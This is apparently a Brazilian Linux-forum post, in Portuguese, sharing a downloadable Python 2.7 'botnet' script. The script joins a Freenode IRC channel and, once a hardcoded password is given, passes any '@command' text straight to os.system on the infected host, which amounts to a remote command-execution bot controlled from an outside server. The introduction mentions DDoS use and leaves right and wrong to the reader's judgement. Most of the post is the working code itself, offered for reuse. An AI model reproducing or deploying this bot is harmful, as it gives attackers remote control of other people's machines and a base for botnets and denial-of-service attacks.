Botnet em Python sem segredos!
Publicado por mrxrobot (última atualização em 01/11/2017)
[ Hits: 32.487 ]
Homepage: https://notabug.org/mrxrobot_
Download 1508041489.botnet.py (versão 2)
Há tempos é utilizado por muitos programadores, hackers (pessoal do GNU/Linux) que habitam literalmente a rede Freenode, softwares que desempenham o papel de bot ou comumente chamados botnet para desempenhar diversas tarefas em rede tanto benéficas quando maléficas, entretanto vai do bom senso e da ética discernir o que é "certo" e o que é "errado", como exemplo temos os "DDoS" (Distributed Denial of Service) que se vale dos bots para realizar os ataques.
Esse script possui o conceito básico de como fazer um simples botnet utilizado a linguagem Python na sua versão 2.7, permitindo a execução de comandos no host que estiver rodando o programa botnet.py através do IRC.
Publiquei um artigo de como controlar o Arduíno via IRC, partindo do mesmo princípio deste script:
http://www.vivaolinux.com.br/artigo/Controlando-Arduino-via-IRC
Para facilitar o estudo do código aqui está o link do meu GitHub:
https://github.com/MarcosWarlock/Python/blob/master/botnet.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#############################################
# botnet em python
# por: Marcos Rodrigues de Carvalho
# nickname: warlock
# VOL: www.vivaolinux.com.br/~marcos_warlock
# distribuição Gnu/Linux: Slackware 14.1
#############################################
import socket, os, time
from re import search
#Configuração do servidor IRC
server = 'irc.freenode.net'
porta = 6667
canal = '#testeprogramaboot'
nick = 'controle'
password = 'senha1234'
# Cria o servidor socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, porta))
s.send('NICK %s\r\n' %nick)
s.send('USER ' + nick + ' ' + nick + ' ' + nick + ' .:\n')
s.send('Join %s\r\n' %canal)
time.sleep(2)
print (s.recv(1024))
#Verifica o que é digitado no canal
# Se for digitado "@ligar + senha", o status da variável teste passa para True
# Se não o status da variável permanece False.
teste = False
while teste != True:
msg = s.recv(5000)
print (msg)
if msg[0:4] == 'PING':
s.send(msg.replace('PING', 'PONG'))
if search('@ligar %s' %password, msg):
teste = True
s.send('PRIVMSG %s : Conectado com sucesso!\r\n' %canal)
# Verifica o que é digitado no canal
# Se for digitado "@command + comando", o programa executa o comando informado no
# servidor que está rodando o botnet
# EXEMPLO: @command clear
# EXPLICAÇÃO: Será executado o comando clear que limpará a tela.
while True:
msg = s.recv(5000)
print (msg)
if msg[0:4] == 'PING':
s.send(msg.replace('PING', 'PONG'))
if search('@command', msg):
msg = msg.split('@command')
msg = msg[1].split('\r\n')
os.system(msg[0])
s.send('PRIVMSG %s : Comando [ %s ] executado com sucesso!\r\n' %(canal, str(msg[0])))
Problema das Oito Rainhas (Random)
Virus, trojan, sei lá o que é isso, PARTE II
Cirurgia para acelerar o openSUSE em HD externo via USB
Void Server como Domain Control
Modo Simples de Baixar e Usar o bash-completion
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
Atualizar Linux Mint 22.2 para 22.3 beta
Jogar games da Battle.net no Linux com Faugus Launcher
Como fazer a Instalação de aplicativos para acesso remoto ao Linux
Conky, alerta de temperatura alta (10)
Assisti Avatar 3: Fogo e Cinzas (3)
Duas Pasta Pessoal Aparecendo no Ubuntu 24.04.3 LTS (42)









